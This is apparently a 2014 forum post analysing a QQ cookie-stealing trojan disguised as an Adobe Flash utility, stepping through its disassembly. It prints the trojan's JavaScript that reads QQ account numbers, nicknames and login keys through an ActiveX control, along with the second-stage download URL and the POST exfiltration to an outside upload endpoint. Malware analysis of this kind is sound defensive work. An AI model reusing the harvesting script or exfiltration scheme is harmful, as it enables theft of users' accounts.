好友
阅读权限40
听众
最后登录1970-1-1
|
L4Nce
发表于 2014-1-20 15:00
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子! 病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途! 禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 L4Nce 于 2014-1-20 15:54 编辑
昨天晚上看到Tenfinder被ban了,一看原来是投放木马了。情节十分恶劣,大家引以为戒。
盗取qq cookie使用什么手法我并不清楚,想通过分析这个木马分析出其手段。
由于帖子被删,我找了我的导师chief要了一份样本。
接下来是流程。
首先释放Adobe Flash Player Utility.exe
然后下载hummer.exe(hXXp://bcs.duapp.com/backfire0/hummer.exe)
改名为System.exe
接着System.exe再把System64.exe文件释放出来
System64.exe应该有两层壳可用esp定律脱之。
System64.MD5 : 48BF006DE2AC8C6835C552BEF4746C38
System64_dump.MD5 : 55387E2684B8D3B96F110D7C8CC9748C
根据图标和代码很容易判断为易语言,一看易语言查看下字符串。
发现几个关键位置。
[C] 纯文本查看 复制代码 1 2 3 4 5 6 7 8 | 0040130C push System64.004684B5 & system =
00401314 push System64.004684BE &address=
0040131E push System64.004684C8 &clientkey=
00401328 push System64.004684D4 &nickname=
00401332 push System64.004684DF number=
0040134B mov eax,System64.004684E7 POST
00401357 mov eax,System64.004684EC [url=http:
[url=http:
|
在字符串处设置好断点
看来是访问了http://xui.ptlogin2.qq.com/cgi-bin/qlogin。
下个send断点。盯着发送的数据
首先访问了金山下面的一个一个查询ip归属地的网址。
接下来断到了这里
[C] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 | 00402870 68 00000000 push 0x0
00402875 68 00000000 push 0x0
0040287A 68 00000000 push 0x0
0040287F 68 00000000 push 0x0
00402884 68 00000000 push 0x0
00402889 68 00000000 push 0x0
0040288E 68 00000000 push 0x0
00402893 68 01874600 push System64.00468701 ; [url=http:
00402898 68 2B874600 push System64.0046872B ; AtlAxWin
0040289D 68 00000000 push 0x0
004028A2 B8 04000000 mov eax,0x4
004028A7 E8 240A0000 call System64.004032D0
004028AC 3965 E4 cmp dword ptr ss:[ebp-0x1C],esp
|
易语言一大特点就是有很深的封装,无法直接发现调用了什么api。
我们 call System64.004032D0进到这个call里面。
[C] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 | 0041301C 6A 3A push 0x3A
0041301E 56 push esi
0041301F E8 7C770300 call System64.0044A7A0 ; 载入user32.dll
00413024 8B2D A0724600 mov ebp,dword ptr ds:[<&kernel32.LoadLib>; kernel32.LoadLibraryA
0041302A 83C4 08 add esp,0x8
0041302D 85C0 test eax,eax
00413107 8B4C24 10 mov ecx,dword ptr ss:[esp+0x10]
0041310B 51 push ecx ; 获取函数CreateWindowExA的地址
0041310C 56 push esi ; user32.77D10000
0041310D FF15 58734600 call dword ptr ds:[<&kernel32.GetProcAdd>; kernel32.GetProcAddress
00413113 85DB test ebx,ebx
00416050 50 push eax
00416051 E8 DAFFFFFF call System64.00416030
00416056 83C4 04 add esp,0x4
00416059 - FFE0 jmp eax ; user32.CreateWindowExA调用之
|
接下在CreateWindowExA出下段看他干了些什么
出现了一个窗体类"URL Moniker Notification Window"
我不太清楚这个窗体类"URL Moniker Notification Window"是干什么的,问了下朋友
说是webbrowser控件 用web界面来做软件的界面,还可以进行各种交互。和浏览器差不多。
我就把他理解为一个浏览器吧。看样子是访问了http://xui.ptlogin2.qq.com/cgi-bin/qlogin
(清楚的大牛可以告诉我一下)
接下来到了这里
[C] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 | 00402A39 68 04000080 push 0x80000004
00402A3E 6A 00 push 0x0
00402A40 68 5C874600 push System64.0046875C ; JavaScript
00402A45 68 04000080 push 0x80000004
00402A4A 6A 00 push 0x0
00402A4C 68 67874600 push System64.00468767 ;js代码
00402A51 68 04000080 push 0x80000004
00402A56 6A 00 push 0x0
00402A58 68 5F8A4600 push System64.00468A5F ; execScript
00402A5D 68 30000100 push 0x10030 ; UNICODE "C:\Documents and Settings\All Users"
00402A62 6A 00 push 0x0
00402A64 FF75 E0 push dword ptr ss:[ebp-0x20]
|
执行了一段js
[JavaScript] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 | document.body.innerHTML=GetuinKey();..
function GetuinKey(){
var text= "" ; var q_hummerQtrl= null ; var g_vOptData= null ;
if (window.ActiveXObject)
{ try {q_hummerQtrl= new ActiveXObject( "SSOAxCtrlForPTLogin.SSOForPTLogin2" );
var A=q_hummerQtrl.CreateTXSSOData();
q_hummerQtrl.InitSSOFPTCtrl(0,A);
g_vOptData=q_hummerQtrl.CreateTXSSOData();
var a=q_hummerQtrl.DoOperation(1,g_vOptData);
var V=a.GetArray( "PTALIST" );
var f=V.GetSize();
var H=$( "list_uin" );
for ( var g=0;g<f;g++)
{
var E=V.GetData(g);
var P=E.GetDWord( "dwSSO_Account_dwAccountUin" );
var U=E.GetStr( "strSSO_Account_strNickName" );
var G=E.GetBuf( "bufST_PTLOGIN" );
var A=G.GetSize(); var N= "" ;
for ( var Y=0;Y<A;Y++)
{ var B=G.GetAt(Y).toString( "16" ); if (B.length==1){B= "0" +B};N+=B};text+=P+ '|' +U+ '|' +N+ ';' }} catch (b){}}; return text};
|
我的js水平还停留在会用alert阶段,不过看函数名是用来获取key的。
由于我是在虚拟机中调试的没有QQ cookie可以改一下js代码
[C] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 | 00402B1E 83C4 04 add esp,0x4
00402B21 6A 00 push 0x0
00402B23 6A 00 push 0x0
00402B25 6A 00 push 0x0
00402B27 68 04000080 push 0x80000004
00402B2C 6A 00 push 0x0
00402B2E 68 6F8A4600 push System64.00468A6F ; innerText
00402B33 68 30000100 push 0x10030 ; UNICODE "C:\Documents and Settings\All Users"
00402B38 6A 00 push 0x0
00402B3A FF75 E0 push dword ptr ss:[ebp-0x20]
00402B3D 68 03000000 push 0x3
00402B42 BB D0404000 mov ebx,System64.004040D0
00402B47 E8 72070000 call System64.004032BE
00402B4C 83C4 28 add esp,0x28
|
此处获得document.body.innerHTML的值
[C] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | 00402B77 6A 00 push 0x0
00402B79 6A 00 push 0x0
00402B7B 68 04000080 push 0x80000004
00402B80 6A 00 push 0x0
00402B82 68 798A4600 push System64.00468A79 ; ;
00402B87 68 04000080 push 0x80000004
00402B8C 6A 00 push 0x0
00402B8E 8B45 DC mov eax,dword ptr ss:[ebp-0x24]
00402B91 85C0 test eax,eax
00402B93 75 05 jnz XSystem64.00402B9A
00402B95 B8 B4844600 mov eax,System64.004684B4
00402C45 6A 00 push 0x0
00402C47 6A 00 push 0x0
00402C49 6A 00 push 0x0
00402C4B 68 04000080 push 0x80000004
00402C50 6A 00 push 0x0
00402C52 68 7B8A4600 push System64.00468A7B ; |
00402C57 68 04000080 push 0x80000004
00402C5C 6A 00 push 0x0
00402C5E 8B5D E4 mov ebx,dword ptr ss:[ebp-0x1C]
00402C61 8B03 mov eax,dword ptr ds:[ebx]
00402C63 85C0 test eax,eax
00402C65 75 05 jnz XSystem64.00402C6C
|
分别检测;和 |
看来qq cookie中有这两个符号了
那么我们用这个木马提供的方法来看看qq cookie张什么样。
先访问
http://xui.ptlogin2.qq.com/cgi-bin/qlogin
然后执行js
我改了一下代码
加了一句
[JavaScript] 纯文本查看 复制代码 1 2 | alert(GetuinKey());
function GetuinKey(){ var text= "" ; var q_hummerQtrl= null ; var g_vOptData= null ; if (window.ActiveXObject){ try {q_hummerQtrl= new ActiveXObject( "SSOAxCtrlForPTLogin.SSOForPTLogin2" ); var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData(); var a=q_hummerQtrl.DoOperation(1,g_vOptData); var V=a.GetArray( "PTALIST" ); var f=V.GetSize(); var H=$( "list_uin" ); for ( var g=0;g<f;g++){ var E=V.GetData(g); var P=E.GetDWord( "dwSSO_Account_dwAccountUin" ); var U=E.GetStr( "strSSO_Account_strNickName" ); var G=E.GetBuf( "bufST_PTLOGIN" ); var A=G.GetSize(); var N= "" ; for ( var Y=0;Y<A;Y++){ var B=G.GetAt(Y).toString( "16" ); if (B.length==1){B= "0" +B};N+=B};text+=P+ '|' +U+ '|' +N+ ';' }} catch (b){}}; return text};
|
果然爆出了key,三部分构成
qq|昵称|key;
看来木马检测|是为了获取各部分的信息
那么就好办了我改一下js代码,在虚拟机中伪造一个key
[C] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | 00402CFF 6A 04 push 0x4
00402D01 B8 02000000 mov eax,0x2
00402D06 E8 A1050000 call System64.004032AC
00402D0B 83C4 08 add esp,0x8
00402D0E 8B5D E4 mov ebx,dword ptr ss:[ebp-0x1C]
00402D11 8B03 mov eax,dword ptr ds:[ebx];获得第一部分
00402D13 8945 E0 mov dword ptr ss:[ebp-0x20],eax
00402D16 8B5D 10 mov ebx,dword ptr ss:[ebp+0x10]
00402D19 8B1B mov ebx,dword ptr ds:[ebx]
00402D1B 895D DC mov dword ptr ss:[ebp-0x24],ebx
00402DB1 83C4 08 add esp,0x8
00402DB4 8B5D E4 mov ebx,dword ptr ss:[ebp-0x1C]
00402DB7 8B03 mov eax,dword ptr ds:[ebx];获取第二部分
00402DB9 8945 E0 mov dword ptr ss:[ebp-0x20],eax
00402DBC 8B5D 08 mov ebx,dword ptr ss:[ebp+0x8]
00402DBF 8B1B mov ebx,dword ptr ds:[ebx]
00402DC1 895D DC mov dword ptr ss:[ebp-0x24],ebx
00402E57 83C4 08 add esp,0x8
00402E5A 8B5D E4 mov ebx,dword ptr ss:[ebp-0x1C]
00402E5D 8B03 mov eax,dword ptr ds:[ebx];获取第三部分
00402E5F 8945 E0 mov dword ptr ss:[ebp-0x20],eax
00402E62 8B5D 18 mov ebx,dword ptr ss:[ebp+0x18]
00402E65 8B1B mov ebx,dword ptr ds:[ebx]
00402E67 895D DC mov dword ptr ss:[ebp-0x24],ebx
|
对每一部分都进行检测,要是检测失败eax返回0,不然返回1
[C] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 | 0040123A 890B mov dword ptr ds:[ebx],ecx
0040123C 50 push eax
0040123D 3BC8 cmp ecx,eax
0040123F 0F8F 6A010000 jg System64.004013AF;不匹配
0040125E 68 B4844600 push System64.004684B4
00401263 8B5D E4 mov ebx,dword ptr ss:[ebp-0x1C]
00401266 FF33 push dword ptr ds:[ebx]
00401268 E8 97FDFFFF call System64.00401004
0040126D 83C4 08 add esp,0x8
00401270 83F8 00 cmp eax,0x0
00401273 0F84 3B000000 je System64.004012B4 ;检测qq 号部分是否为空。
|
[AppleScript] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | 00401309 FF 75 FC push dword ptr ss : [ebp -0 x 4 ]
0040130 C 68 B 5844600 push System 64.0 04684 B 5 ; & system =
00401311 FF 75 F 8 push dword ptr ss : [ebp -0 x 8 ]
00401314 68 BE 844600 push System 64.0 04684 BE ; & address =
00401319 8 B 5 D DC mov ebx , dword ptr ss : [ebp -0 x 24 ]
0040131 C FF 33 push dword ptr ds : [ebx]
0040131 E 68 C 8844600 push System 64.0 04684 C 8 ; & clientkey =
00401323 8 B 5 D E 0 mov ebx , dword ptr ss : [ebp -0 x 20 ]
00401326 FF 33 push dword ptr ds : [ebx]
00401328 68 D 4844600 push System 64.0 04684 D 4 ; & nickname =
0040132 D 8 B 5 D E 4 mov ebx , dword ptr ss : [ebp -0 x 1 C]
00401330 FF 33 push dword ptr ds : [ebx]
00401332 68 DF 844600 push System 64.0 04684 DF ; number =
00401337 B 9 0 A 000000 mov ecx , 0 xA
0040133 C E 8 CBFDFFFF call System 64.0 040110 C
00401341 83 C 4 28 add esp , 0 x 28
00401344 8945 D 8 mov dword ptr ss : [ebp -0 x 28 ] , eax
00401347 8 D 45 D 8 lea eax , dword ptr ss : [ebp -0 x 28 ]
0040134 A 50 push eax
0040134 B B 8 E 7844600 mov eax , System 64.0 04684 E 7 ; POST
00401350 8945 D 4 mov dword ptr ss : [ebp -0 x 2 C] , eax
00401353 8 D 45 D 4 lea eax , dword ptr ss : [ebp -0 x 2 C]
00401356 50 push eax
00401357 B 8 EC 844600 mov eax , System 64.0 04684 EC ; [ url = http : / / api.iobeta.cn / upload.php]http : / / api.iobeta.cn / upload.php[ / url ]
0040135 C 8945 D 0 mov dword ptr ss : [ebp -0 x 30 ] , eax
0040135 F 8 D 45 D 0 lea eax , dword ptr ss : [ebp -0 x 30 ]
00401362 50 push eax
00401363 E 8 5 E 090000 call System 64.0 0401 CC 6 ;填写完毕发送
|
发送完毕后再建立一个bat删除自身
[C] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 | 0040309F 83C4 04 add esp,0x4
004030A2 8945 F4 mov dword ptr ss:[ebp-0xC],eax
004030A5 68 7F8A4600 push System64.00468A7F
004030AA FF75 F4 push dword ptr ss:[ebp-0xC]
004030AD 68 8D8A4600 push System64.00468A8D
004030B2 FF75 FC push dword ptr ss:[ebp-0x4]
004030B5 68 A18A4600 push System64.00468AA1
004030BA FF75 FC push dword ptr ss:[ebp-0x4]
004030BD 68 AD8A4600 push System64.00468AAD
004030C2 B9 07000000 mov ecx,0x7
004030C7 E8 40E0FFFF call System64.0040110C
|
补上获取系统版本地方
[C] 纯文本查看 复制代码 1 2 3 4 5 6 7 8 | 004011CC AD lods dword ptr ds:[esi]
004011CD AB stos dword ptr es:[edi]
004011CE AD lods dword ptr ds:[esi]
004011CF AB stos dword ptr es:[edi]
004011D0 C745 E8 0000000>mov dword ptr ss:[ebp-0x18],0x0
004011D7 E8 DA020000 call System64.004014B6;获取版本
004011DC 8945 E4 mov dword ptr ss:[ebp-0x1C],eax ; System64.00468550
004011DF 8B45 E4 mov eax,dword ptr ss:[ebp-0x1C]
|
窃取过程基本就是这样,分析的比较笼统:一是易语言的封装分析起来很让我头大,二是自己经验方面的问题。
分析过程中不免有所疏忽,还请大家指正。
|
cookie, cookie, cookie, cookie, cookie, cookie, cookie, cookie, cookie, cookie, cookie, cookie, cookie, cookie, cookie, cookie, cookie, cookie, cookie, cookie
免费评分
-
查看全部评分
|